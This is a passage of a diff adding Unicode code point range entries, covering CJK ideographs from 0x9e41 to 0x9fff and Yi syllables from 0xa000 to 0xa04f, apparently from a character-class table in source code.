+ [0x9e41, 0x9e41], /* CJK Ideograph */
+ [0x9e42, 0x9e42], /* CJK Ideograph */
+ [0x9e43, 0x9e43], /* CJK Ideograph */
+ [0x9e44, 0x9e44], /* CJK Ideograph */
+ [0x9e45, 0x9e45], /* CJK Ideograph */
+ [0x9e46, 0x9e46], /* CJK Ideograph */
+ [0x9e47, 0x9e47], /* CJK Ideograph */
+ [0x9e48, 0x9e48], /* CJK Ideograph */
+ [0x9e49, 0x9e49], /* CJK Ideograph */
+ [0x9e4a, 0x9e4a], /* CJK Ideograph */
+ [0x9e4b, 0x9e4b], /* CJK Ideograph */
+ [0x9e4c, 0x9e4c], /* CJK Ideograph */
+ [0x9e4d, 0x9e4d], /* CJK Ideograph */
+ [0x9e4e, 0x9e4e], /* CJK Ideograph */
+ [0x9e4f, 0x9e4f], /* CJK Ideograph */
+ [0x9e50, 0x9e50], /* CJK Ideograph */
+ [0x9e51, 0x9e51], /* CJK Ideograph */
+ [0x9e52, 0x9e52], /* CJK Ideograph */
+ [0x9e53, 0x9e53], /* CJK Ideograph */
+ [0x9e54, 0x9e54], /* CJK Ideograph */
+ [0x9e55, 0x9e55], /* CJK Ideograph */
+ [0x9e56, 0x9e56], /* CJK Ideograph */
+ [0x9e57, 0x9e57], /* CJK Ideograph */
+ [0x9e58, 0x9e58], /* CJK Ideograph */
+ [0x9e59, 0x9e59], /* CJK Ideograph */
+ [0x9e5a, 0x9e5a], /* CJK Ideograph */
+ [0x9e5b, 0x9e5b], /* CJK Ideograph */
+ [0x9e5c, 0x9e5c], /* CJK Ideograph */
+ [0x9e5d, 0x9e5d], /* CJK Ideograph */
+ [0x9e5e, 0x9e5e], /* CJK Ideograph */
+ [0x9e5f, 0x9e5f], /* CJK Ideograph */
+ [0x9e60, 0x9e60], /* CJK Ideograph */
+ [0x9e61, 0x9e61], /* CJK Ideograph */
+ [0x9e62, 0x9e62], /* CJK Ideograph */
+ [0x9e63, 0x9e63], /* CJK Ideograph */
+ [0x9e64, 0x9e64], /* CJK Ideograph */
+ [0x9e65, 0x9e65], /* CJK Ideograph */
+ [0x9e66, 0x9e66], /* CJK Ideograph */
+ [0x9e67, 0x9e67], /* CJK Ideograph */
+ [0x9e68, 0x9e68], /* CJK Ideograph */
+ [0x9e69, 0x9e69], /* CJK Ideograph */
+ [0x9e6a, 0x9e6a], /* CJK Ideograph */
+ [0x9e6b, 0x9e6b], /* CJK Ideograph */
+ [0x9e6c, 0x9e6c], /* CJK Ideograph */
+ [0x9e6d, 0x9e6d], /* CJK Ideograph */
+ [0x9e6e, 0x9e6e], /* CJK Ideograph */
+ [0x9e6f, 0x9e6f], /* CJK Ideograph */
+ [0x9e70, 0x9e70], /* CJK Ideograph */
+ [0x9e71, 0x9e71], /* CJK Ideograph */
+ [0x9e72, 0x9e72], /* CJK Ideograph */
+ [0x9e73, 0x9e73], /* CJK Ideograph */
+ [0x9e74, 0x9e74], /* CJK Ideograph */
+ [0x9e75, 0x9e75], /* CJK Ideograph */
+ [0x9e76, 0x9e76], /* CJK Ideograph */
+ [0x9e77, 0x9e77], /* CJK Ideograph */
+ [0x9e78, 0x9e78], /* CJK Ideograph */
+ [0x9e79, 0x9e79], /* CJK Ideograph */
+ [0x9e7a, 0x9e7a], /* CJK Ideograph */
+ [0x9e7b, 0x9e7b], /* CJK Ideograph */
+ [0x9e7c, 0x9e7c], /* CJK Ideograph */
+ [0x9e7d, 0x9e7d], /* CJK Ideograph */
+ [0x9e7e, 0x9e7e], /* CJK Ideograph */
+ [0x9e7f, 0x9e7f], /* CJK Ideograph */
+ [0x9e80, 0x9e80], /* CJK Ideograph */
+ [0x9e81, 0x9e81], /* CJK Ideograph */
+ [0x9e82, 0x9e82], /* CJK Ideograph */
+ [0x9e83, 0x9e83], /* CJK Ideograph */
+ [0x9e84, 0x9e84], /* CJK Ideograph */
+ [0x9e85, 0x9e85], /* CJK Ideograph */
+ [0x9e86, 0x9e86], /* CJK Ideograph */
+ [0x9e87, 0x9e87], /* CJK Ideograph */
+ [0x9e88, 0x9e88], /* CJK Ideograph */
+ [0x9e89, 0x9e89], /* CJK Ideograph */
+ [0x9e8a, 0x9e8a], /* CJK Ideograph */
+ [0x9e8b, 0x9e8b], /* CJK Ideograph */
+ [0x9e8c, 0x9e8c], /* CJK Ideograph */
+ [0x9e8d, 0x9e8d], /* CJK Ideograph */
+ [0x9e8e, 0x9e8e], /* CJK Ideograph */
+ [0x9e8f, 0x9e8f], /* CJK Ideograph */
+ [0x9e90, 0x9e90], /* CJK Ideograph */
+ [0x9e91, 0x9e91], /* CJK Ideograph */
+ [0x9e92, 0x9e92], /* CJK Ideograph */
+ [0x9e93, 0x9e93], /* CJK Ideograph */
+ [0x9e94, 0x9e94], /* CJK Ideograph */
+ [0x9e95, 0x9e95], /* CJK Ideograph */
+ [0x9e96, 0x9e96], /* CJK Ideograph */
+ [0x9e97, 0x9e97], /* CJK Ideograph */
+ [0x9e98, 0x9e98], /* CJK Ideograph */
+ [0x9e99, 0x9e99], /* CJK Ideograph */
+ [0x9e9a, 0x9e9a], /* CJK Ideograph */
+ [0x9e9b, 0x9e9b], /* CJK Ideograph */
+ [0x9e9c, 0x9e9c], /* CJK Ideograph */
+ [0x9e9d, 0x9e9d], /* CJK Ideograph */
+ [0x9e9e, 0x9e9e], /* CJK Ideograph */
+ [0x9e9f, 0x9e9f], /* CJK Ideograph */
+ [0x9ea0, 0x9ea0], /* CJK Ideograph */
+ [0x9ea1, 0x9ea1], /* CJK Ideograph */
+ [0x9ea2, 0x9ea2], /* CJK Ideograph */
+ [0x9ea3, 0x9ea3], /* CJK Ideograph */
+ [0x9ea4, 0x9ea4], /* CJK Ideograph */
+ [0x9ea5, 0x9ea5], /* CJK Ideograph */
+ [0x9ea6, 0x9ea6], /* CJK Ideograph */
+ [0x9ea7, 0x9ea7], /* CJK Ideograph */
+ [0x9ea8, 0x9ea8], /* CJK Ideograph */
+ [0x9ea9, 0x9ea9], /* CJK Ideograph */
+ [0x9eaa, 0x9eaa], /* CJK Ideograph */
+ [0x9eab, 0x9eab], /* CJK Ideograph */
+ [0x9eac, 0x9eac], /* CJK Ideograph */
+ [0x9ead, 0x9ead], /* CJK Ideograph */
+ [0x9eae, 0x9eae], /* CJK Ideograph */
+ [0x9eaf, 0x9eaf], /* CJK Ideograph */
+ [0x9eb0, 0x9eb0], /* CJK Ideograph */
+ [0x9eb1, 0x9eb1], /* CJK Ideograph */
+ [0x9eb2, 0x9eb2], /* CJK Ideograph */
+ [0x9eb3, 0x9eb3], /* CJK Ideograph */
+ [0x9eb4, 0x9eb4], /* CJK Ideograph */
+ [0x9eb5, 0x9eb5], /* CJK Ideograph */
+ [0x9eb6, 0x9eb6], /* CJK Ideograph */
+ [0x9eb7, 0x9eb7], /* CJK Ideograph */
+ [0x9eb8, 0x9eb8], /* CJK Ideograph */
+ [0x9eb9, 0x9eb9], /* CJK Ideograph */
+ [0x9eba, 0x9eba], /* CJK Ideograph */
+ [0x9ebb, 0x9ebb], /* CJK Ideograph */
+ [0x9ebc, 0x9ebc], /* CJK Ideograph */
+ [0x9ebd, 0x9ebd], /* CJK Ideograph */
+ [0x9ebe, 0x9ebe], /* CJK Ideograph */
+ [0x9ebf, 0x9ebf], /* CJK Ideograph */
+ [0x9ec0, 0x9ec0], /* CJK Ideograph */
+ [0x9ec1, 0x9ec1], /* CJK Ideograph */
+ [0x9ec2, 0x9ec2], /* CJK Ideograph */
+ [0x9ec3, 0x9ec3], /* CJK Ideograph */
+ [0x9ec4, 0x9ec4], /* CJK Ideograph */
+ [0x9ec5, 0x9ec5], /* CJK Ideograph */
+ [0x9ec6, 0x9ec6], /* CJK Ideograph */
+ [0x9ec7, 0x9ec7], /* CJK Ideograph */
+ [0x9ec8, 0x9ec8], /* CJK Ideograph */
+ [0x9ec9, 0x9ec9], /* CJK Ideograph */
+ [0x9eca, 0x9eca], /* CJK Ideograph */
+ [0x9ecb, 0x9ecb], /* CJK Ideograph */
+ [0x9ecc, 0x9ecc], /* CJK Ideograph */
+ [0x9ecd, 0x9ecd], /* CJK Ideograph */
+ [0x9ece, 0x9ece], /* CJK Ideograph */
+ [0x9ecf, 0x9ecf], /* CJK Ideograph */
+ [0x9ed0, 0x9ed0], /* CJK Ideograph */
+ [0x9ed1, 0x9ed1], /* CJK Ideograph */
+ [0x9ed2, 0x9ed2], /* CJK Ideograph */
+ [0x9ed3, 0x9ed3], /* CJK Ideograph */
+ [0x9ed4, 0x9ed4], /* CJK Ideograph */
+ [0x9ed5, 0x9ed5], /* CJK Ideograph */
+ [0x9ed6, 0x9ed6], /* CJK Ideograph */
+ [0x9ed7, 0x9ed7], /* CJK Ideograph */
+ [0x9ed8, 0x9ed8], /* CJK Ideograph */
+ [0x9ed9, 0x9ed9], /* CJK Ideograph */
+ [0x9eda, 0x9eda], /* CJK Ideograph */
+ [0x9edb, 0x9edb], /* CJK Ideograph */
+ [0x9edc, 0x9edc], /* CJK Ideograph */
+ [0x9edd, 0x9edd], /* CJK Ideograph */
+ [0x9ede, 0x9ede], /* CJK Ideograph */
+ [0x9edf, 0x9edf], /* CJK Ideograph */
+ [0x9ee0, 0x9ee0], /* CJK Ideograph */
+ [0x9ee1, 0x9ee1], /* CJK Ideograph */
+ [0x9ee2, 0x9ee2], /* CJK Ideograph */
+ [0x9ee3, 0x9ee3], /* CJK Ideograph */
+ [0x9ee4, 0x9ee4], /* CJK Ideograph */
+ [0x9ee5, 0x9ee5], /* CJK Ideograph */
+ [0x9ee6, 0x9ee6], /* CJK Ideograph */
+ [0x9ee7, 0x9ee7], /* CJK Ideograph */
+ [0x9ee8, 0x9ee8], /* CJK Ideograph */
+ [0x9ee9, 0x9ee9], /* CJK Ideograph */
+ [0x9eea, 0x9eea], /* CJK Ideograph */
+ [0x9eeb, 0x9eeb], /* CJK Ideograph */
+ [0x9eec, 0x9eec], /* CJK Ideograph */
+ [0x9eed, 0x9eed], /* CJK Ideograph */
+ [0x9eee, 0x9eee], /* CJK Ideograph */
+ [0x9eef, 0x9eef], /* CJK Ideograph */
+ [0x9ef0, 0x9ef0], /* CJK Ideograph */
+ [0x9ef1, 0x9ef1], /* CJK Ideograph */
+ [0x9ef2, 0x9ef2], /* CJK Ideograph */
+ [0x9ef3, 0x9ef3], /* CJK Ideograph */
+ [0x9ef4, 0x9ef4], /* CJK Ideograph */
+ [0x9ef5, 0x9ef5], /* CJK Ideograph */
+ [0x9ef6, 0x9ef6], /* CJK Ideograph */
+ [0x9ef7, 0x9ef7], /* CJK Ideograph */
+ [0x9ef8, 0x9ef8], /* CJK Ideograph */
+ [0x9ef9, 0x9ef9], /* CJK Ideograph */
+ [0x9efa, 0x9efa], /* CJK Ideograph */
+ [0x9efb, 0x9efb], /* CJK Ideograph */
+ [0x9efc, 0x9efc], /* CJK Ideograph */
+ [0x9efd, 0x9efd], /* CJK Ideograph */
+ [0x9efe, 0x9efe], /* CJK Ideograph */
+ [0x9eff, 0x9eff], /* CJK Ideograph */
+ [0x9f00, 0x9f00], /* CJK Ideograph */
+ [0x9f01, 0x9f01], /* CJK Ideograph */
+ [0x9f02, 0x9f02], /* CJK Ideograph */
+ [0x9f03, 0x9f03], /* CJK Ideograph */
+ [0x9f04, 0x9f04], /* CJK Ideograph */
+ [0x9f05, 0x9f05], /* CJK Ideograph */
+ [0x9f06, 0x9f06], /* CJK Ideograph */
+ [0x9f07, 0x9f07], /* CJK Ideograph */
+ [0x9f08, 0x9f08], /* CJK Ideograph */
+ [0x9f09, 0x9f09], /* CJK Ideograph */
+ [0x9f0a, 0x9f0a], /* CJK Ideograph */
+ [0x9f0b, 0x9f0b], /* CJK Ideograph */
+ [0x9f0c, 0x9f0c], /* CJK Ideograph */
+ [0x9f0d, 0x9f0d], /* CJK Ideograph */
+ [0x9f0e, 0x9f0e], /* CJK Ideograph */
+ [0x9f0f, 0x9f0f], /* CJK Ideograph */
+ [0x9f10, 0x9f10], /* CJK Ideograph */
+ [0x9f11, 0x9f11], /* CJK Ideograph */
+ [0x9f12, 0x9f12], /* CJK Ideograph */
+ [0x9f13, 0x9f13], /* CJK Ideograph */
+ [0x9f14, 0x9f14], /* CJK Ideograph */
+ [0x9f15, 0x9f15], /* CJK Ideograph */
+ [0x9f16, 0x9f16], /* CJK Ideograph */
+ [0x9f17, 0x9f17], /* CJK Ideograph */
+ [0x9f18, 0x9f18], /* CJK Ideograph */
+ [0x9f19, 0x9f19], /* CJK Ideograph */
+ [0x9f1a, 0x9f1a], /* CJK Ideograph */
+ [0x9f1b, 0x9f1b], /* CJK Ideograph */
+ [0x9f1c, 0x9f1c], /* CJK Ideograph */
+ [0x9f1d, 0x9f1d], /* CJK Ideograph */
+ [0x9f1e, 0x9f1e], /* CJK Ideograph */
+ [0x9f1f, 0x9f1f], /* CJK Ideograph */
+ [0x9f20, 0x9f20], /* CJK Ideograph */
+ [0x9f21, 0x9f21], /* CJK Ideograph */
+ [0x9f22, 0x9f22], /* CJK Ideograph */
+ [0x9f23, 0x9f23], /* CJK Ideograph */
+ [0x9f24, 0x9f24], /* CJK Ideograph */
+ [0x9f25, 0x9f25], /* CJK Ideograph */
+ [0x9f26, 0x9f26], /* CJK Ideograph */
+ [0x9f27, 0x9f27], /* CJK Ideograph */
+ [0x9f28, 0x9f28], /* CJK Ideograph */
+ [0x9f29, 0x9f29], /* CJK Ideograph */
+ [0x9f2a, 0x9f2a], /* CJK Ideograph */
+ [0x9f2b, 0x9f2b], /* CJK Ideograph */
+ [0x9f2c, 0x9f2c], /* CJK Ideograph */
+ [0x9f2d, 0x9f2d], /* CJK Ideograph */
+ [0x9f2e, 0x9f2e], /* CJK Ideograph */
+ [0x9f2f, 0x9f2f], /* CJK Ideograph */
+ [0x9f30, 0x9f30], /* CJK Ideograph */
+ [0x9f31, 0x9f31], /* CJK Ideograph */
+ [0x9f32, 0x9f32], /* CJK Ideograph */
+ [0x9f33, 0x9f33], /* CJK Ideograph */
+ [0x9f34, 0x9f34], /* CJK Ideograph */
+ [0x9f35, 0x9f35], /* CJK Ideograph */
+ [0x9f36, 0x9f36], /* CJK Ideograph */
+ [0x9f37, 0x9f37], /* CJK Ideograph */
+ [0x9f38, 0x9f38], /* CJK Ideograph */
+ [0x9f39, 0x9f39], /* CJK Ideograph */
+ [0x9f3a, 0x9f3a], /* CJK Ideograph */
+ [0x9f3b, 0x9f3b], /* CJK Ideograph */
+ [0x9f3c, 0x9f3c], /* CJK Ideograph */
+ [0x9f3d, 0x9f3d], /* CJK Ideograph */
+ [0x9f3e, 0x9f3e], /* CJK Ideograph */
+ [0x9f3f, 0x9f3f], /* CJK Ideograph */
+ [0x9f40, 0x9f40], /* CJK Ideograph */
+ [0x9f41, 0x9f41], /* CJK Ideograph */
+ [0x9f42, 0x9f42], /* CJK Ideograph */
+ [0x9f43, 0x9f43], /* CJK Ideograph */
+ [0x9f44, 0x9f44], /* CJK Ideograph */
+ [0x9f45, 0x9f45], /* CJK Ideograph */
+ [0x9f46, 0x9f46], /* CJK Ideograph */
+ [0x9f47, 0x9f47], /* CJK Ideograph */
+ [0x9f48, 0x9f48], /* CJK Ideograph */
+ [0x9f49, 0x9f49], /* CJK Ideograph */
+ [0x9f4a, 0x9f4a], /* CJK Ideograph */
+ [0x9f4b, 0x9f4b], /* CJK Ideograph */
+ [0x9f4c, 0x9f4c], /* CJK Ideograph */
+ [0x9f4d, 0x9f4d], /* CJK Ideograph */
+ [0x9f4e, 0x9f4e], /* CJK Ideograph */
+ [0x9f4f, 0x9f4f], /* CJK Ideograph */
+ [0x9f50, 0x9f50], /* CJK Ideograph */
+ [0x9f51, 0x9f51], /* CJK Ideograph */
+ [0x9f52, 0x9f52], /* CJK Ideograph */
+ [0x9f53, 0x9f53], /* CJK Ideograph */
+ [0x9f54, 0x9f54], /* CJK Ideograph */
+ [0x9f55, 0x9f55], /* CJK Ideograph */
+ [0x9f56, 0x9f56], /* CJK Ideograph */
+ [0x9f57, 0x9f57], /* CJK Ideograph */
+ [0x9f58, 0x9f58], /* CJK Ideograph */
+ [0x9f59, 0x9f59], /* CJK Ideograph */
+ [0x9f5a, 0x9f5a], /* CJK Ideograph */
+ [0x9f5b, 0x9f5b], /* CJK Ideograph */
+ [0x9f5c, 0x9f5c], /* CJK Ideograph */
+ [0x9f5d, 0x9f5d], /* CJK Ideograph */
+ [0x9f5e, 0x9f5e], /* CJK Ideograph */
+ [0x9f5f, 0x9f5f], /* CJK Ideograph */
+ [0x9f60, 0x9f60], /* CJK Ideograph */
+ [0x9f61, 0x9f61], /* CJK Ideograph */
+ [0x9f62, 0x9f62], /* CJK Ideograph */
+ [0x9f63, 0x9f63], /* CJK Ideograph */
+ [0x9f64, 0x9f64], /* CJK Ideograph */
+ [0x9f65, 0x9f65], /* CJK Ideograph */
+ [0x9f66, 0x9f66], /* CJK Ideograph */
+ [0x9f67, 0x9f67], /* CJK Ideograph */
+ [0x9f68, 0x9f68], /* CJK Ideograph */
+ [0x9f69, 0x9f69], /* CJK Ideograph */
+ [0x9f6a, 0x9f6a], /* CJK Ideograph */
+ [0x9f6b, 0x9f6b], /* CJK Ideograph */
+ [0x9f6c, 0x9f6c], /* CJK Ideograph */
+ [0x9f6d, 0x9f6d], /* CJK Ideograph */
+ [0x9f6e, 0x9f6e], /* CJK Ideograph */
+ [0x9f6f, 0x9f6f], /* CJK Ideograph */
+ [0x9f70, 0x9f70], /* CJK Ideograph */
+ [0x9f71, 0x9f71], /* CJK Ideograph */
+ [0x9f72, 0x9f72], /* CJK Ideograph */
+ [0x9f73, 0x9f73], /* CJK Ideograph */
+ [0x9f74, 0x9f74], /* CJK Ideograph */
+ [0x9f75, 0x9f75], /* CJK Ideograph */
+ [0x9f76, 0x9f76], /* CJK Ideograph */
+ [0x9f77, 0x9f77], /* CJK Ideograph */
+ [0x9f78, 0x9f78], /* CJK Ideograph */
+ [0x9f79, 0x9f79], /* CJK Ideograph */
+ [0x9f7a, 0x9f7a], /* CJK Ideograph */
+ [0x9f7b, 0x9f7b], /* CJK Ideograph */
+ [0x9f7c, 0x9f7c], /* CJK Ideograph */
+ [0x9f7d, 0x9f7d], /* CJK Ideograph */
+ [0x9f7e, 0x9f7e], /* CJK Ideograph */
+ [0x9f7f, 0x9f7f], /* CJK Ideograph */
+ [0x9f80, 0x9f80], /* CJK Ideograph */
+ [0x9f81, 0x9f81], /* CJK Ideograph */
+ [0x9f82, 0x9f82], /* CJK Ideograph */
+ [0x9f83, 0x9f83], /* CJK Ideograph */
+ [0x9f84, 0x9f84], /* CJK Ideograph */
+ [0x9f85, 0x9f85], /* CJK Ideograph */
+ [0x9f86, 0x9f86], /* CJK Ideograph */
+ [0x9f87, 0x9f87], /* CJK Ideograph */
+ [0x9f88, 0x9f88], /* CJK Ideograph */
+ [0x9f89, 0x9f89], /* CJK Ideograph */
+ [0x9f8a, 0x9f8a], /* CJK Ideograph */
+ [0x9f8b, 0x9f8b], /* CJK Ideograph */
+ [0x9f8c, 0x9f8c], /* CJK Ideograph */
+ [0x9f8d, 0x9f8d], /* CJK Ideograph */
+ [0x9f8e, 0x9f8e], /* CJK Ideograph */
+ [0x9f8f, 0x9f8f], /* CJK Ideograph */
+ [0x9f90, 0x9f90], /* CJK Ideograph */
+ [0x9f91, 0x9f91], /* CJK Ideograph */
+ [0x9f92, 0x9f92], /* CJK Ideograph */
+ [0x9f93, 0x9f93], /* CJK Ideograph */
+ [0x9f94, 0x9f94], /* CJK Ideograph */
+ [0x9f95, 0x9f95], /* CJK Ideograph */
+ [0x9f96, 0x9f96], /* CJK Ideograph */
+ [0x9f97, 0x9f97], /* CJK Ideograph */
+ [0x9f98, 0x9f98], /* CJK Ideograph */
+ [0x9f99, 0x9f99], /* CJK Ideograph */
+ [0x9f9a, 0x9f9a], /* CJK Ideograph */
+ [0x9f9b, 0x9f9b], /* CJK Ideograph */
+ [0x9f9c, 0x9f9c], /* CJK Ideograph */
+ [0x9f9d, 0x9f9d], /* CJK Ideograph */
+ [0x9f9e, 0x9f9e], /* CJK Ideograph */
+ [0x9f9f, 0x9f9f], /* CJK Ideograph */
+ [0x9fa0, 0x9fa0], /* CJK Ideograph */
+ [0x9fa1, 0x9fa1], /* CJK Ideograph */
+ [0x9fa2, 0x9fa2], /* CJK Ideograph */
+ [0x9fa3, 0x9fa3], /* CJK Ideograph */
+ [0x9fa4, 0x9fa4], /* CJK Ideograph */
+ [0x9fa5, 0x9fa5], /* CJK Ideograph */
+ [0x9fa6, 0x9fa6], /* CJK Ideograph */
+ [0x9fa7, 0x9fa7], /* CJK Ideograph */
+ [0x9fa8, 0x9fa8], /* CJK Ideograph */
+ [0x9fa9, 0x9fa9], /* CJK Ideograph */
+ [0x9faa, 0x9faa], /* CJK Ideograph */
+ [0x9fab, 0x9fab], /* CJK Ideograph */
+ [0x9fac, 0x9fac], /* CJK Ideograph */
+ [0x9fad, 0x9fad], /* CJK Ideograph */
+ [0x9fae, 0x9fae], /* CJK Ideograph */
+ [0x9faf, 0x9faf], /* CJK Ideograph */
+ [0x9fb0, 0x9fb0], /* CJK Ideograph */
+ [0x9fb1, 0x9fb1], /* CJK Ideograph */
+ [0x9fb2, 0x9fb2], /* CJK Ideograph */
+ [0x9fb3, 0x9fb3], /* CJK Ideograph */
+ [0x9fb4, 0x9fb4], /* CJK Ideograph */
+ [0x9fb5, 0x9fb5], /* CJK Ideograph */
+ [0x9fb6, 0x9fb6], /* CJK Ideograph */
+ [0x9fb7, 0x9fb7], /* CJK Ideograph */
+ [0x9fb8, 0x9fb8], /* CJK Ideograph */
+ [0x9fb9, 0x9fb9], /* CJK Ideograph */
+ [0x9fba, 0x9fba], /* CJK Ideograph */
+ [0x9fbb, 0x9fbb], /* CJK Ideograph */
+ [0x9fbc, 0x9fbc], /* CJK Ideograph */
+ [0x9fbd, 0x9fbd], /* CJK Ideograph */
+ [0x9fbe, 0x9fbe], /* CJK Ideograph */
+ [0x9fbf, 0x9fbf], /* CJK Ideograph */
+ [0x9fc0, 0x9fc0], /* CJK Ideograph */
+ [0x9fc1, 0x9fc1], /* CJK Ideograph */
+ [0x9fc2, 0x9fc2], /* CJK Ideograph */
+ [0x9fc3, 0x9fc3], /* CJK Ideograph */
+ [0x9fc4, 0x9fc4], /* CJK Ideograph */
+ [0x9fc5, 0x9fc5], /* CJK Ideograph */
+ [0x9fc6, 0x9fc6], /* CJK Ideograph */
+ [0x9fc7, 0x9fc7], /* CJK Ideograph */
+ [0x9fc8, 0x9fc8], /* CJK Ideograph */
+ [0x9fc9, 0x9fc9], /* CJK Ideograph */
+ [0x9fca, 0x9fca], /* CJK Ideograph */
+ [0x9fcb, 0x9fcb], /* CJK Ideograph */
+ [0x9fcc, 0x9fcc], /* CJK Ideograph */
+ [0x9fcd, 0x9fcd], /* CJK Ideograph */
+ [0x9fce, 0x9fce], /* CJK Ideograph */
+ [0x9fcf, 0x9fcf], /* CJK Ideograph */
+ [0x9fd0, 0x9fd0], /* CJK Ideograph */
+ [0x9fd1, 0x9fd1], /* CJK Ideograph */
+ [0x9fd2, 0x9fd2], /* CJK Ideograph */
+ [0x9fd3, 0x9fd3], /* CJK Ideograph */
+ [0x9fd4, 0x9fd4], /* CJK Ideograph */
+ [0x9fd5, 0x9fd5], /* CJK Ideograph */
+ [0x9fd6, 0x9fd6],
+ [0x9fd7, 0x9fd7],
+ [0x9fd8, 0x9fd8],
+ [0x9fd9, 0x9fd9],
+ [0x9fda, 0x9fda],
+ [0x9fdb, 0x9fdb],
+ [0x9fdc, 0x9fdc],
+ [0x9fdd, 0x9fdd],
+ [0x9fde, 0x9fde],
+ [0x9fdf, 0x9fdf],
+ [0x9fe0, 0x9fe0],
+ [0x9fe1, 0x9fe1],
+ [0x9fe2, 0x9fe2],
+ [0x9fe3, 0x9fe3],
+ [0x9fe4, 0x9fe4],
+ [0x9fe5, 0x9fe5],
+ [0x9fe6, 0x9fe6],
+ [0x9fe7, 0x9fe7],
+ [0x9fe8, 0x9fe8],
+ [0x9fe9, 0x9fe9],
+ [0x9fea, 0x9fea],
+ [0x9feb, 0x9feb],
+ [0x9fec, 0x9fec],
+ [0x9fed, 0x9fed],
+ [0x9fee, 0x9fee],
+ [0x9fef, 0x9fef],
+ [0x9ff0, 0x9ff0],
+ [0x9ff1, 0x9ff1],
+ [0x9ff2, 0x9ff2],
+ [0x9ff3, 0x9ff3],
+ [0x9ff4, 0x9ff4],
+ [0x9ff5, 0x9ff5],
+ [0x9ff6, 0x9ff6],
+ [0x9ff7, 0x9ff7],
+ [0x9ff8, 0x9ff8],
+ [0x9ff9, 0x9ff9],
+ [0x9ffa, 0x9ffa],
+ [0x9ffb, 0x9ffb],
+ [0x9ffc, 0x9ffc],
+ [0x9ffd, 0x9ffd],
+ [0x9ffe, 0x9ffe],
+ [0x9fff, 0x9fff],
+ [0xa000, 0xa000], /* YI SYLLABLE IT */
+ [0xa001, 0xa001], /* YI SYLLABLE IX */
+ [0xa002, 0xa002], /* YI SYLLABLE I */
+ [0xa003, 0xa003], /* YI SYLLABLE IP */
+ [0xa004, 0xa004], /* YI SYLLABLE IET */
+ [0xa005, 0xa005], /* YI SYLLABLE IEX */
+ [0xa006, 0xa006], /* YI SYLLABLE IE */
+ [0xa007, 0xa007], /* YI SYLLABLE IEP */
+ [0xa008, 0xa008], /* YI SYLLABLE AT */
+ [0xa009, 0xa009], /* YI SYLLABLE AX */
+ [0xa00a, 0xa00a], /* YI SYLLABLE A */
+ [0xa00b, 0xa00b], /* YI SYLLABLE AP */
+ [0xa00c, 0xa00c], /* YI SYLLABLE UOX */
+ [0xa00d, 0xa00d], /* YI SYLLABLE UO */
+ [0xa00e, 0xa00e], /* YI SYLLABLE UOP */
+ [0xa00f, 0xa00f], /* YI SYLLABLE OT */
+ [0xa010, 0xa010], /* YI SYLLABLE OX */
+ [0xa011, 0xa011], /* YI SYLLABLE O */
+ [0xa012, 0xa012], /* YI SYLLABLE OP */
+ [0xa013, 0xa013], /* YI SYLLABLE EX */
+ [0xa014, 0xa014], /* YI SYLLABLE E */
+ [0xa015, 0xa015], /* YI SYLLABLE WU */
+ [0xa016, 0xa016], /* YI SYLLABLE BIT */
+ [0xa017, 0xa017], /* YI SYLLABLE BIX */
+ [0xa018, 0xa018], /* YI SYLLABLE BI */
+ [0xa019, 0xa019], /* YI SYLLABLE BIP */
+ [0xa01a, 0xa01a], /* YI SYLLABLE BIET */
+ [0xa01b, 0xa01b], /* YI SYLLABLE BIEX */
+ [0xa01c, 0xa01c], /* YI SYLLABLE BIE */
+ [0xa01d, 0xa01d], /* YI SYLLABLE BIEP */
+ [0xa01e, 0xa01e], /* YI SYLLABLE BAT */
+ [0xa01f, 0xa01f], /* YI SYLLABLE BAX */
+ [0xa020, 0xa020], /* YI SYLLABLE BA */
+ [0xa021, 0xa021], /* YI SYLLABLE BAP */
+ [0xa022, 0xa022], /* YI SYLLABLE BUOX */
+ [0xa023, 0xa023], /* YI SYLLABLE BUO */
+ [0xa024, 0xa024], /* YI SYLLABLE BUOP */
+ [0xa025, 0xa025], /* YI SYLLABLE BOT */
+ [0xa026, 0xa026], /* YI SYLLABLE BOX */
+ [0xa027, 0xa027], /* YI SYLLABLE BO */
+ [0xa028, 0xa028], /* YI SYLLABLE BOP */
+ [0xa029, 0xa029], /* YI SYLLABLE BEX */
+ [0xa02a, 0xa02a], /* YI SYLLABLE BE */
+ [0xa02b, 0xa02b], /* YI SYLLABLE BEP */
+ [0xa02c, 0xa02c], /* YI SYLLABLE BUT */
+ [0xa02d, 0xa02d], /* YI SYLLABLE BUX */
+ [0xa02e, 0xa02e], /* YI SYLLABLE BU */
+ [0xa02f, 0xa02f], /* YI SYLLABLE BUP */
+ [0xa030, 0xa030], /* YI SYLLABLE BURX */
+ [0xa031, 0xa031], /* YI SYLLABLE BUR */
+ [0xa032, 0xa032], /* YI SYLLABLE BYT */
+ [0xa033, 0xa033], /* YI SYLLABLE BYX */
+ [0xa034, 0xa034], /* YI SYLLABLE BY */
+ [0xa035, 0xa035], /* YI SYLLABLE BYP */
+ [0xa036, 0xa036], /* YI SYLLABLE BYRX */
+ [0xa037, 0xa037], /* YI SYLLABLE BYR */
+ [0xa038, 0xa038], /* YI SYLLABLE PIT */
+ [0xa039, 0xa039], /* YI SYLLABLE PIX */
+ [0xa03a, 0xa03a], /* YI SYLLABLE PI */
+ [0xa03b, 0xa03b], /* YI SYLLABLE PIP */
+ [0xa03c, 0xa03c], /* YI SYLLABLE PIEX */
+ [0xa03d, 0xa03d], /* YI SYLLABLE PIE */
+ [0xa03e, 0xa03e], /* YI SYLLABLE PIEP */
+ [0xa03f, 0xa03f], /* YI SYLLABLE PAT */
+ [0xa040, 0xa040], /* YI SYLLABLE PAX */
+ [0xa041, 0xa041], /* YI SYLLABLE PA */
+ [0xa042, 0xa042], /* YI SYLLABLE PAP */
+ [0xa043, 0xa043], /* YI SYLLABLE PUOX */
+ [0xa044, 0xa044], /* YI SYLLABLE PUO */
+ [0xa045, 0xa045], /* YI SYLLABLE PUOP */
+ [0xa046, 0xa046], /* YI SYLLABLE POT */
+ [0xa047, 0xa047], /* YI SYLLABLE POX */
+ [0xa048, 0xa048], /* YI SYLLABLE PO */
+ [0xa049, 0xa049], /* YI SYLLABLE POP */
+ [0xa04a, 0xa04a], /* YI SYLLABLE PUT */
+ [0xa04b, 0xa04b], /* YI SYLLABLE PUX */
+ [0xa04c, 0xa04c], /* YI SYLLABLE PU */
+ [0xa04d, 0xa04d], /* YI SYLLABLE PUP */
+ [0xa04e, 0xa04e], /* YI SYLLABLE PURX */
+ [0xa04f, 0xa04f], /* YI SYLLABLE PUR */
